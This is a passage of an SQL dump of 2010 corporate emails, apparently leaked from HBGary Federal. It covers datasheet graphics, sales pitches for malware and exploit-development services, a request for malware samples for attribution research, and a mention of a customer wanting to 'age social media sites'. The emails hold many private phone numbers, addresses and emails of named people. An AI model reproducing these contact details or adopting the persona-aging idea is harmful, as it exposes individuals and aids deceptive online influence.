http://icons.mysitemyway.com/category/black-ink-grunge-stamps-textures-icons\r\n>>>>> /\r\n>>>>> I would like the HBGary logo to stand out but fit in the grunge  \r\n>>>>> style.  2\r\n>>>>> more requests to follow.\r\n>>>>>\r\n>>>>> I would use the following ones:\r\n>>>>> blogger\r\n>>>>> digg\r\n>>>>> facebook\r\n>>>>> flickr\r\n>>>>> google\r\n>>>>> hi5\r\n>>>>> linkedin\r\n>>>>> myspace\r\n>>>>> orkut\r\n>>>>> reddit\r\n>>>>> skype\r\n>>>>> technorati\r\n>>>>> twitter\r\n>>>>> wordpress\r\n>>>>> yahoo\r\n>>>>> youtube\r\n>>>>> yelp\r\n>>>>>\r\n>>>>> \r\n>>>>\r\n>>>>\r\n>>>> ______________________\r\n>>>>\r\n>>>> John Verducci\r\n>>>> Studio Em Graphic Design\r\n>>>>\r\n>>>> 974 Yorkshire Drive\r\n>>>> Los Altos, California 94024\r\n>>>>\r\n>>>> 650.962.9200 Direct\r\n>>>> 650.961.8801 Fax\r\n>>>>\r\n>>>>\r\n>>>>\r\n>>>>\r\n>>>\r\n>>> Aaron Barr\r\n>>> CEO\r\n>>> HBGary Federal Inc.\r\n>>>\r\n>>\r\n>>\r\n>> ______________________\r\n>>\r\n>> John Verducci\r\n>> Studio Em Graphic Design\r\n>>\r\n>> 974 Yorkshire Drive\r\n>> Los Altos, California 94024\r\n>>\r\n>> 650.962.9200 Direct\r\n>> 650.961.8801 Fax\r\n>>\r\n>>\r\n>>\r\n>>\r\n\r\n\r\n______________________\r\n\r\nJohn Verducci\r\nStudio Em Graphic Design\r\n\r\n974 Yorkshire Drive\r\nLos Altos, California 94024\r\n\r\n650.962.9200 Direct\r\n650.961.8801 Fax\r\n\r\n\r\n\r\n\r\n',12578,'aaron_hbgary_com/12578.html'),(8987,'2010-07-21','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297006920.M390008P14101Q3842.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Mitre','Bob has dealt with them, not sure who though\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, July 21, 2010 12:23 PM\r\nTo: Penny Leavy\r\nSubject: Mitre\r\n\r\nHave I dealt with them if so who?\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\n',463,'aaron_hbgary_com/463.html'),(8988,'2010-07-21','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006920.M787111P14101Q3843.eml','\"Barr Aaron\" <aaron@hbgary.com>,mark@hbgary.com','Fwd: Active Defense whitepaper, final (UNCLASSIFIED)','Amusing.---------- Forwarded message ----------From: Chappell, Scott C Mr CIV USA SMDC ARSTRAT &lt;Scott.Chappell@smdc-cs.army.mil&gt;\r\nDate: Wed, Jul 21, 2010 at 1:08 PMSubject: RE: Active Defense whitepaper, final (UNCLASSIFIED)To: Ted Vera &lt;ted@hbgary.com&gt;??? ;-) Let me talk with her...\r\n\r\n-----Original Message-----\r\nFrom: Ted Vera [mailto:ted@hbgary.com]\r\nSent: Wednesday, July 21, 2010 11:41 AM\r\nTo: Chappell, Scott C Mr CIV USA SMDC ARSTRAT\r\nSubject: Fwd: Active Defense whitepaper, final (UNCLASSIFIED)\r\n\r\nFYI.\r\n\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n        From: &quot;Coy, Sara J 1LT MIL USA SMDC ARSTRAT&quot;\r\n&lt;Sara.Coy@smdc-cs.army.mil&gt;\r\n        Date: July 21, 2010 11:00:35 AM MDT\r\n        To: &quot;Ted Vera&quot; &lt;ted@hbgary.com&gt;\r\n        Subject: RE: FW: Active Defense whitepaper, final (UNCLASSIFIED)\r\n\r\n\r\n\r\n        Classification: UNCLASSIFIED\r\n        Caveats: FOUO\r\n\r\n        Mr. Vera,\r\n\r\n        Unfortunately, my role in cyberspace is not related to malware\r\nor malware\r\n        tools. Thank you for your introduction. I enjoyed reading your\r\nattached\r\n        documents.\r\n\r\n        V/R,\r\n        1LT Coy\r\n\r\n\r\n        1LT Sara J. Coy\r\n        SMDC/ARSTRAT\r\n        All-Source Analyst\r\n        Peterson AFB, CoSpgs, CO 80914\r\n        sara.coy@smdc-cs.army.mil\r\n        sara.coy@smdc-cs.army.smil.mil\r\n        719.554.1874\r\n\r\n        &quot;I can picture in my mind a world without war, a world without\r\nhate. And I\r\n        can picture us attacking that world, because they&#39;d never expect\r\nit.&quot;\r\n\r\n\r\n\r\n        -----Original Message-----\r\n        From: Ted Vera [mailto:ted@hbgary.com]\r\n        Sent: Tuesday, July 20, 2010 2:49 PM\r\n        To: Coy, Sara J 1LT MIL USA SMDC ARSTRAT\r\n        Cc: Chappell, Scott C Mr CIV USA SMDC ARSTRAT; Barr Aaron\r\n        Subject: Re: FW: Active Defense whitepaper, final\r\n\r\n        Hello 1LT Coy,\r\n\r\n        If you can give me an unclassified overview of your\r\nrequirements, I&#39;d be\r\n        happy to give you an unclass capabilities overview to see if\r\nthere is a\r\n        match.\r\n\r\n        We specialize in all things related to malware.  Greg Hoglund is\r\nour CEO and\r\n        founded the company in 2003.  Greg is an accomplished author,\r\nworld\r\n        recognized leader in rootkit technology and was recently named\r\none of &quot;10\r\n        hackers to know&quot; in Network Security magazine.  We offer a\r\nnumber of Cyber\r\n        services including malware reverse engineering, vulnerability\r\nresearch,\r\n        exploit development, incident response, penetration testing,\r\ndigital\r\n        forensics, social media, and training.  We also have a mature\r\nproduct-line\r\n        of COTS which assist in accomplishing those tasks.\r\n\r\n        I&#39;ve attached two whitepapers and a product sheet that I think\r\nyou may find\r\n        interesting.  The first is our analysis of the Aurora attack,\r\nthe second is\r\n        a how-to guide for using our REcon product to develop software\r\nexploits, and\r\n        the third describes our Digital DNA product.\r\n\r\n        Regards,\r\n        Ted\r\n\r\n\r\n        --\r\n        Ted H. Vera\r\n        President | COO\r\n        HBGary Federal\r\n        719-237-8623\r\n        http://www.hbgary.com\r\n\r\n\r\n\r\n\r\n        On Tue, Jul 20, 2010 at 2:31 PM, Chappell, Scott C Mr CIV USA\r\nSMDC ARSTRAT\r\n        &lt;Scott.Chappell@smdc-cs.army.mil&gt; wrote:\r\n\r\n\r\n           1LT Coy / Sara,\r\n\r\n           Attached is just one sample of current UNCLASS defensive\r\nthreat\r\n        analysis\r\n           from Ted&#39;s team...\r\n\r\n           They also made the news today:\r\n            &lt;http://www.net-security.org/malware_news.php?id=1406&gt;\r\nhttp://www.net-security.org/malware_news.php?id=1406\r\n\r\n           I know they could have definite value added to your effort.\r\n\r\n           Have Cc:&#39;d Ted... As we discussed, his re-issue on clearance\r\nstill\r\n        in\r\n           the works --- so his right hand, Aaron Barr, will have to\r\nhold any\r\n           classified conversations in the mean time.\r\n\r\n           Am certain that Ted will make contact with you soonest.\r\n\r\n           Take care,\r\n\r\n           Scott\r\n\r\n\r\n\r\n\r\n\r\n\r\n        Classification: UNCLASSIFIED\r\n        Caveats: FOUO\r\n\r\n\r\n\r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n',10385,'aaron_hbgary_com/10385.html'),(8989,'2010-07-21','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006921.M279723P14101Q3845.eml','\"Barr Aaron\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','draft quote','DRAFT -- please do not send yet.  Should we discuss with Penny and or Maria first?\r\n \r\nTed\r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n',7919,'aaron_hbgary_com/7919.html'),(8990,'2010-07-21','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006921.M34086P14101Q3844.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Today\'s Meeting','\r\n---------- Forwarded message ----------From: O&#39;Neill, Michael -Systems &lt;Michael.ONeill2@itt.com&gt;\r\nDate: Wed, Jul 21, 2010 at 2:15 PMSubject: RE: Today&#39;s MeetingTo: Ted Vera &lt;ted@hbgary.com&gt;\r\n\r\n\r\nTed\r\n \r\nThanks for the white papers, sounds like you are doing some interesting work.\r\n \r\nITT is a huge company with pockets of cyber work.  I am checking to find out the best POC to discuss capabilities and cyber bus dev. Will get back with you on this.\r\n\r\n \r\nI will have been with ITT 2 years in Nov. The first year was very interesting as I supported a project for AF Central Command and eventually got an ATO in place for a system fielded in the CAOC in Qatar. I assumed my current job at Headquarters in late April of this year.  It has been a bit frustrating dealing with bureaucracy!! Oh well.\r\n\r\n \r\nWill be in touch.\r\n\r\n \r\nv/r\r\n \r\nMike\r\n \r\nMichael O&#39;Neill, Ph.D., CISSP, CISM\r\nManager, Information Assurance\r\nITT Systems Corporation\r\noffice-719-637-4217\r\ncell-719-331-7910\r\ne-mail-michael.oneill2@itt.com\r\n \r\n\r\nFrom: Ted Vera [mailto:ted@hbgary.com] Sent: Wednesday, July 21, 2010 1:28 PM\r\nTo: O&#39;Neill, Michael -SystemsSubject: Re: Today&#39;s Meeting\r\n\r\n\r\n\r\n \r\nThanks for the email Mike, it was nice to see you.  Our company is headquartered out of Sacramento, but I work from here.  We have a small lab downtown where we do a lot of our R&amp;D and proposal work.  How do you like working with ITT?  Are you involved in Cyber related business?  I assume so from your signature block below...\r\n\r\n\r\n \r\n\r\nWe specialize in all things related to malware.  Greg Hoglund is our CEO and founded the company in 2003.  Greg is an accomplished author, world recognized leader in rootkit technology and was recently named one of &quot;10 hackers to know&quot; in Network Security magazine.  We offer a number of Cyber services (both offensive and defensive) including malware reverse engineering, vulnerability research, exploit development, incident response, penetration testing, and digital forensics.  We also have a mature product-line of COTS which assist in accomplishing those tasks.  \r\n\r\n\r\n\r\n \r\n\r\nI&#39;ve attached three whitepapers that I think you may find interesting.  The first is our analysis of the Aurora attack, the second is a how-to guide for using our REcon product to develop software exploits, and the third describes our latest Enterprise product, Active Defense.  \r\n\r\n\r\n \r\n\r\nIf you&#39;re interested, I&#39;d love to have an opportunity to discuss capabilities and Cyber related business development opportunities.  \r\n\r\n\r\n \r\n\r\nWarm Regards,\r\n\r\nTed\r\n\r\n \r\n\r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n\r\nhttp://www.hbgary.com\r\n \r\n\r\nOn Wed, Jul 21, 2010 at 1:08 PM, O&#39;Neill, Michael -Systems &lt;Michael.ONeill2@itt.com&gt; wrote:\r\n\r\n\r\nTed\r\n \r\nIt was good to see you at ISSA meeting. As you can see, I have moved on to a different position and am now with ITT systems corp.\r\n \r\nDid you have to re-locate to Sacramento or are you still in the springs?\r\n \r\nTake care and keep in touch.\r\n \r\nv/r\r\n \r\nMike\r\n \r\nMichael O&#39;Neill, Ph.D., CISSP, CISM\r\nManager, Information Assurance\r\nITT Systems Corporation\r\noffice-719-637-4217\r\ncell-719-331-7910\r\ne-mail-michael.oneill2@itt.com\r\n \r\n \r\n\r\n\r\n\r\nThis e-mail and any files transmitted with it may be proprietary and are intended solely for the use of the individual or entity to whom they are addressed. If you have received this e-mail in error please notify the sender.\r\nPlease note that any views or opinions presented in this e-mail are solely those of the author and do not necessarily represent those of ITT Corporation. The recipient should check this e-mail and any attachments for the presence of viruses. ITT accepts no liability for any damage caused by any virus transmitted by this e-mail.\r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n',7973,'aaron_hbgary_com/7973.html'),(8991,'2010-07-21','\"Eifert, Eric J.\" <Eric.Eifert@ManTech.com>','/aaron@hbgary.com/new/1297006921.M590226P14101Q3846.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Burroughs, Lynda R\" <Lynda.Burroughs@ManTech.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: TSA','Lynda is our TSA expert and I will see her tomorrow so I will ask.\r\n\r\nOn a side note, one of our LE customers is very interested in the capability to age social media sites so I would like to discuss this with you the next time you are available.\r\n\r\nThanks,\r\n\r\nEric J. Eifert\r\nVice President, Cyber Defense Business Unit\r\nManTech Mission, Cyber and Technology Solutions\r\n(direct) 703-388-2127   (cell) 703-966-9998   (fax) 703-388-2148\r\n\r\n**PROPRIETARY & COMPANY-CONFIDENTIAL**\r\nThis email and the contents of this email (including any attachments) are company-confidential and/or proprietary.  Unless you are the addressee (or authorized to receive for the addressee), you may not use, copy, disclose or distribute this email or any of the contents of this email.  If you received this email in error, please promptly notify the sender by reply email and delete this email from your records.  Thank you.\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, July 19, 2010 6:51 PM\r\nTo: Eifert, Eric J.\r\nCc: Varner, Bill\r\nSubject: TSA\r\n\r\nEric,\r\n\r\nAre you guys tracking the upcoming TSA services contract?\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n',9893,'aaron_hbgary_com/9893.html'),(8992,'2010-07-21','\"AFCEA NOVA Group Members\" <group-digests@linkedin.com>','/aaron@hbgary.com/new/1297006921.M825586P14101Q3847.eml','\"Aaron Barr\" <aaron@hbgary.com>','From Shawn Walther and other AFCEA NOVA group members on LinkedIn','\r\n\r\n  \r\n  \r\n    Linkedin GroupsJuly 21, 2010\r\n    AFCEA NOVA\r\n    \r\n	      Latest:\r\n	          1 discussion\r\n	            &bull;\r\n	      \r\n	      \r\n	        \r\n             1 Job\r\n	      \r\n      \r\n    \r\n\r\n     \r\n      NEW Your LinkedIn groups have a whole new look! Learn more &#187;\r\n    \r\n      \r\n      \r\n    \r\n\r\n      \r\nDiscussions (1)  \r\n\r\n    \r\n      \r\n        Heartland Payroll Services - Save Time and Money!\r\n        Add a comment  &raquo;\r\n\r\n      Started by David Dendinger, Relationship Manager at Heartland Payment Systems\r\n        \r\n          \r\n                    Dear  Merchant,\r\nWhat if you could run payroll for your business in just minutes?\r\nWhat if you could get a credit on your income tax (if you&#x2019;re a restaurant) at the end of the year from the government off your tipped employees?\r\nWhat if you could have a 3 year fixed pricing program full disclosure for your payroll?\r\nWhat if you could have a single point of contact payroll specialist for customer service?\r\nWhat if you could offer your employees direct deposit at no additional charge?\r\nWhat if you could count on a payroll provider to keep up with all requirements, regulations, and penalty resolutions so you don&#x2019;t have to?\r\nWhat if you had a payroll company offering you world class service and taking full 100% liability of your tax filing, reporting, and payroll?\r\nDoes your current payroll system do all this?\r\nOur job is payroll&#x2026;..YOURS is running your business!\r\nHeartland Payroll is the 3rd largest publicly traded payroll service in the nation. We currently provide to over 10,400 active clients. Heartland covers you in all the areas mentioned above to make sure your business is running as efficiently as possible. Heartland Payroll is your Hometown National Provider. I&#x2019;d love to speak to you about your current payroll system. \r\nPlease call my cell at 540-535-5342 so we can set up a 10-15 minute appointment. \r\nThanks and I&#x2019;ll talk to you soon.\r\nDave Dendinger\r\nRelationship Manager\r\nHeartland Payment Systems\r\n\r\nwww.heartlandpaymentsystems.com \r\nNYSE: HPY\r\n                By David Dendinger, Relationship Manager at Heartland Payment Systems\r\n           \r\n          \r\n    \r\n\r\n\r\n\r\n   Job Discussions (1)\r\n       \r\n         \r\n           Experienced C-Level advisor in Physical &amp; Electronic Security Solutions seeking new position in the industry\r\n           Add a comment  &raquo;\r\n           \r\n         Posted by Shawn Walther, Director, Business Development at Sentrillion\r\n       \r\n   \r\n     \r\n       \r\n         Find the best talent on LinkedIn\r\n         \r\n           Reach over 70 million top professionals\r\n           Be alerted to good matches automatically\r\n           Receive on average 30 applicants\r\n         \r\n         Get Started &raquo;\r\n       \r\n     \r\n   \r\n\r\n&nbsp;\r\nDon\'t want to receive email notifications? Adjust your message settings.\r\nLinkedIn values your privacy. At no time has LinkedIn made your email address available to any other LinkedIn user without your permission. &#169; 2010, LinkedIn Corporation.\r\n&nbsp;\r\n\r\n\r\n',11360,'aaron_hbgary_com/11360.html'),(8993,'2010-07-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006922.M296472P14101Q3849.eml','\"John Verducci\" <john@studioem.com>','Re: 3 graphic requests to follow','Ok I will send u the supporting materials tonight with some of the text to follow.  Thanks.\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\nOn Jul 21, 2010, at 3:23 PM, John Verducci  wrote:\r\n\r\n> Hi Aaron,\r\n> \r\n> I can certainly do that for you if you send me all of the other assets like the text.\r\n> \r\n> Thanks\r\n> \r\n> John\r\n> \r\n> \r\n> \r\n> On Jul 21, 2010, at 11:09 AM, Aaron barr wrote:\r\n> \r\n>> Ok if i sent u the text and general layout could you put it together?  Reason i ask is i would like to have my datasheet ready for black hat on the 27/28 of this month but I am heading on a trip until then and won\'t have access to indesign after today.\r\n>> \r\n>> Thanks\r\n>> Aaron\r\n>> \r\n>> Sent from my iPad\r\n>> \r\n>> On Jul 21, 2010, at 1:51 PM, John Verducci  wrote:\r\n>> \r\n>>> Hi Aaron,\r\n>>> \r\n>>> I have not yet begun to work on your project as I have a couple of things ahead in the queue. I do most of my work in the Adobe Creative Suite including InDesign.\r\n>>> \r\n>>> Thanks\r\n>>> \r\n>>> John\r\n>>> \r\n>>> \r\n>>> On Jul 21, 2010, at 8:13 AM, Aaron Barr wrote:\r\n>>> \r\n>>>> Hi John,\r\n>>>> \r\n>>>> How are the graphics coming? Do you do In-design work?\r\n>>>> \r\n>>>> Aaron\r\n>>>> \r\n>>>> On Jul 14, 2010, at 7:30 PM, John Verducci wrote:\r\n>>>> \r\n>>>>> Thanks Penny.\r\n>>>>> \r\n>>>>> Aaron - let me know what you need on these.\r\n>>>>> \r\n>>>>> Thanks\r\n>>>>> \r\n>>>>> John\r\n>>>>> \r\n>>>>> \r\n>>>>> \r\n>>>>> On Jul 14, 2010, at 3:56 PM, Penny Leavy-Hoglund wrote:\r\n>>>>> \r\n>>>>>> Aaron, you\'ll have to explain to John what you want, what you sent doesn\'t\r\n>>>>>> make sense to me\r\n>>>>>> \r\n>>>>>> -----Original Message-----\r\n>>>>>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>>>>>> Sent: Wednesday, July 14, 2010 9:20 AM\r\n>>>>>> To: Penny Leavy\r\n>>>>>> Subject: 3 graphic requests to follow\r\n>>>>>> \r\n>>>>>> First one is the top image for the datasheet.  You can download the icons at\r\n>>>>>> http://icons.mysitemyway.com/category/black-ink-grunge-stamps-textures-icons\r\n>>>>>> /\r\n>>>>>> I would like the HBGary logo to stand out but fit in the grunge style.  2\r\n>>>>>> more requests to follow.\r\n>>>>>> \r\n>>>>>> I would use the following ones:\r\n>>>>>> blogger\r\n>>>>>> digg\r\n>>>>>> facebook\r\n>>>>>> flickr\r\n>>>>>> google\r\n>>>>>> hi5\r\n>>>>>> linkedin\r\n>>>>>> myspace\r\n>>>>>> orkut\r\n>>>>>> reddit\r\n>>>>>> skype\r\n>>>>>> technorati\r\n>>>>>> twitter\r\n>>>>>> wordpress\r\n>>>>>> yahoo\r\n>>>>>> youtube\r\n>>>>>> yelp\r\n>>>>>> \r\n>>>>>> \r\n>>>>> \r\n>>>>> \r\n>>>>> ______________________\r\n>>>>> \r\n>>>>> John Verducci\r\n>>>>> Studio Em Graphic Design\r\n>>>>> \r\n>>>>> 974 Yorkshire Drive\r\n>>>>> Los Altos, California 94024\r\n>>>>> \r\n>>>>> 650.962.9200 Direct\r\n>>>>> 650.961.8801 Fax\r\n>>>>> \r\n>>>>> \r\n>>>>> \r\n>>>>> \r\n>>>> \r\n>>>> Aaron Barr\r\n>>>> CEO\r\n>>>> HBGary Federal Inc.\r\n>>>> \r\n>>> \r\n>>> \r\n>>> ______________________\r\n>>> \r\n>>> John Verducci\r\n>>> Studio Em Graphic Design\r\n>>> \r\n>>> 974 Yorkshire Drive\r\n>>> Los Altos, California 94024\r\n>>> \r\n>>> 650.962.9200 Direct\r\n>>> 650.961.8801 Fax\r\n>>> \r\n>>> \r\n>>> \r\n>>> \r\n> \r\n> \r\n> ______________________\r\n> \r\n> John Verducci\r\n> Studio Em Graphic Design\r\n> \r\n> 974 Yorkshire Drive\r\n> Los Altos, California 94024\r\n> \r\n> 650.962.9200 Direct\r\n> 650.961.8801 Fax\r\n> \r\n> \r\n> \r\n> \r\n',12492,'aaron_hbgary_com/12492.html'),(8994,'2010-07-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006922.M565902P14101Q3850.eml','\"Merritt, David CTR OSD CIO\" <David.Merritt.ctr@osd.mil>','Re: Attribution','A vmem or livbin file.  Running it against a static binary you can do but won\'t get as much data if obsfucated, etc.  We are running malware in large buckets as we get it on our sandbox environment.\r\n\r\nThis was compiled from our malware data feeds.  We get about 20k samples of malware per day through those sources.\r\n\r\nAre u going to be at blackhat?\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\nOn Jul 21, 2010, at 3:14 PM, \"Merritt, David CTR OSD CIO\"  wrote:\r\n\r\n> What format is required for processing within the tool?\r\n> \r\n> Were these compiled from rootkit.com?\r\n> \r\n> Dave\r\n> -----------------------------------\r\n> David D. Merritt, CISSP, CISM, ITIL\r\n> OSD CIO IA\r\n> 703-697-2051 :desk\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Friday, July 16, 2010 10:27 PM\r\n> To: Aaron Barr\r\n> Subject: Attribution\r\n> \r\n> I am sending this request to a small group of individuals.  Please do not\r\n> forward this email to third parties.  HBGary is working hard to help solve\r\n> the attribution problem.  We have developed a fingerprint tool which\r\n> extracts toolmarks left behind in malware executables.  We use these\r\n> toolmarks to cluster exploits together which were compiled on the same\r\n> computer system or development environment.  Notice the clusters in the\r\n> graphic below. These groupings illustrate the relationships between over\r\n> 3000 malware samples.\r\n> \r\n> We need your help to further validate and improve the tool.  Eventually you\r\n> can imagine combining this data with open source and intelligence data.  I\r\n> can see attribution as potentially a solvable problem.  We need your malware\r\n> samples, as many as you can provide.  This is not something we are looking\r\n> to profit from directly, we will be giving this tool away at Blackhat, so\r\n> helping us improve the tool will help the community beat back the threat.\r\n> If possible please have your representative CISOs or cybersecurity personnel\r\n> send malware samples in a password protected zip file.  Provide the password\r\n> via phone 719-510-8478 or fax to:  720-836-4208 we need your samples as soon\r\n> as possible.  Samples provided will not be shared with third parties and\r\n> your participation will be held in strict confidence.\r\n> \r\n> In exchange for your help, I will provide you with a summary report of our\r\n> findings and you will have made a significant contribution to securing\r\n> America\'s networks. \r\n> \r\n> \r\n',7130,'aaron_hbgary_com/7130.html'),(8995,'2010-07-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006922.M63410P14101Q3848.eml','\"Eric Eifert\" <eric.eifert@mantech.com>','Tsa and social media','Great.\r\n\r\nAttached is the TSA RFI.  I will be out until after blackhat.  So anytime after Aug. 1st I can support.\r\n\r\nAaron\r\n\r\n',15203,'aaron_hbgary_com/15203.html'),(8996,'2010-07-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006922.M796036P14101Q3851.eml','\"Bob Slapnik\" <bob@hbgary.com>','Fwd: Mitre','?Sent from my iPhoneBegin forwarded message:From: \"Penny Leavy-Hoglund\" &lt;penny@hbgary.com&gt;Date: July 21, 2010 3:23:59 PM EDTTo: \"\'Aaron Barr\'\" &lt;aaron@hbgary.com&gt;Subject: RE: MitreBob has dealt with them, not sure who though-----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com] Sent: Wednesday, July 21, 2010 12:23 PMTo: Penny LeavySubject: MitreHave I dealt with them if so who?AaronSent from my iPhone',15593,'aaron_hbgary_com/15593.html'),(8997,'2010-07-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006923.M14031P14101Q3852.eml','\"Martin Pillion\" <martin@hbgary.com>','Re: Dev & Design meeting, Wednesday 10am PST','Sorry I missed this.  Probably already at the top of the list but putting in recon and a GUI interface would be at the top.\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\nOn Jul 20, 2010, at 8:25 PM, Martin Pillion  wrote:\r\n\r\n> \r\n> When: Wednesday, 7-21-2010, 10am PST\r\n> Where: Dev Conference Room\r\n> What:\r\n> \r\n>    Design/Brainstorm meeting to talk about the next version of the TMC\r\n> database.  Bring use cases, ideas, comments, and of course, requirements.\r\n> \r\n> Why:\r\n> \r\n>    Because it needs to be done sooner rather than later.\r\n> \r\n> For those who are off-site, you can send me your input and I\'ll be sure\r\n> to bring it up.  We can also try to teleconference/videoconference,\r\n> though it might be hard since there will probably be lots of white boarding.\r\n> \r\n> - Martin\r\n',12343,'aaron_hbgary_com/12343.html'),(8998,'2010-07-21','\"Lirette, Dave (TASC)\" <David.P.Lirette@TASC.COM>','/aaron@hbgary.com/new/1297006923.M244247P14101Q3853.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: If you haven\'t already seen it','TASC won the SBIRS SE&I contract in LA - I may be out of the work in\r\nBoulder! (OCI issues)\r\n\r\nWoo Hoo!\r\n\r\nOOp, now I have to work capture and proposals full time...\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, June 29, 2010 6:56 AM\r\nTo: Lirette, Dave (TASC)\r\nSubject: If you haven\'t already seen it\r\n\r\nWatch a movie called 180 degrees south.\r\n\r\nGood documentary.\r\n\r\nGive me a call when your free.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',11496,'aaron_hbgary_com/11496.html'),(8999,'2010-07-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006923.M448348P14101Q3854.eml','\"Lirette, Dave (TASC)\" <David.P.Lirette@TASC.COM>','Re: If you haven\'t already seen it','Congratulations!!!\r\n\r\nSent from my iPhone\r\n\r\nOn Jul 21, 2010, at 5:30 PM, \"Lirette, Dave (TASC)\"  wrote:\r\n\r\n> TASC won the SBIRS SE&I contract in LA - I may be out of the work in\r\n> Boulder! (OCI issues)\r\n> \r\n> Woo Hoo!\r\n> \r\n> OOp, now I have to work capture and proposals full time...\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Tuesday, June 29, 2010 6:56 AM\r\n> To: Lirette, Dave (TASC)\r\n> Subject: If you haven\'t already seen it\r\n> \r\n> Watch a movie called 180 degrees south.\r\n> \r\n> Good documentary.\r\n> \r\n> Give me a call when your free.\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n',9743,'aaron_hbgary_com/9743.html'),(9000,'2010-07-21','\"Lirette, Dave (TASC)\" <David.P.Lirette@TASC.COM>','/aaron@hbgary.com/new/1297006923.M648293P14101Q3855.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: EXTERNAL:Re: If you haven\'t already seen it','I\'ll keep you posted\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, July 21, 2010 3:40 PM\r\nTo: Lirette, Dave (TASC)\r\nSubject: EXTERNAL:Re: If you haven\'t already seen it\r\n\r\nCongratulations!!!\r\n\r\nSent from my iPhone\r\n\r\nOn Jul 21, 2010, at 5:30 PM, \"Lirette, Dave (TASC)\"\r\n wrote:\r\n\r\n> TASC won the SBIRS SE&I contract in LA - I may be out of the work in\r\n> Boulder! (OCI issues)\r\n> \r\n> Woo Hoo!\r\n> \r\n> OOp, now I have to work capture and proposals full time...\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Tuesday, June 29, 2010 6:56 AM\r\n> To: Lirette, Dave (TASC)\r\n> Subject: If you haven\'t already seen it\r\n> \r\n> Watch a movie called 180 degrees south.\r\n> \r\n> Good documentary.\r\n> \r\n> Give me a call when your free.\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n',12314,'aaron_hbgary_com/12314.html'),(9001,'2010-07-21','\"Kevin G. Coleman\" <kgcoleman@technolytics.com>','/aaron@hbgary.com/new/1297006923.M884371P14101Q3856.eml','\"Aaron Barr\" <aaron@hbgary.com>','Join my network on LinkedIn','\r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n  LinkedIn\r\n\r\n            Kevin G. Coleman has indicated you are a Colleague at The Technolytics Institute:\r\n\r\n  \r\n    I\'d like to add you to my professional network on LinkedIn.\r\n\r\n\r\n\r\n- Kevin G. Coleman\r\n  \r\n\r\n  &nbsp;\r\n\r\n   \r\n     \r\n         \r\n           Accept\r\n         \r\n          \r\n               View invitation from Kevin G. Coleman\r\n         \r\n     \r\n   \r\n\r\n   \r\n   &nbsp;\r\n   \r\n   DID YOU KNOW you can showcase your professional knowledge on LinkedIn to receive job/consulting offers and enhance your professional reputation? Posting replies to questions on LinkedIn Answers puts you in front of the world\'s professional community. \r\n  &nbsp;\r\n\r\n\r\n\r\n\r\n\r\n  &#169; 2010, LinkedIn Corporation\r\n\r\n\r\n',12676,'aaron_hbgary_com/12676.html'),(9002,'2010-07-21','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006924.M118135P14101Q3857.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Active Defense whitepaper, final (UNCLASSIFIED)','Begin forwarded message:From: Ted Vera &lt;ted@hbgary.com&gt;\r\nDate: July 21, 2010 4:32:54 PM MDTTo: Chappell Scott &lt;scott.chappell@smdc-cs.army.mil&gt;Subject: Fwd: Active Defense whitepaper, final (UNCLASSIFIED)\r\n--001485f6da105723a4048bed6306Content-Type: text/plain; charset=ISO-8859-1FYI. Thanks anyways for the intro Scott.\r\nTedBegin forwarded message:*From:* Ted Vera &lt;ted@hbgary.com&gt;*Date:* July 21, 2010 4:30:31 PM MDT\r\n*To:* &quot;Coy, Sara J 1LT MIL USA SMDC ARSTRAT&quot; 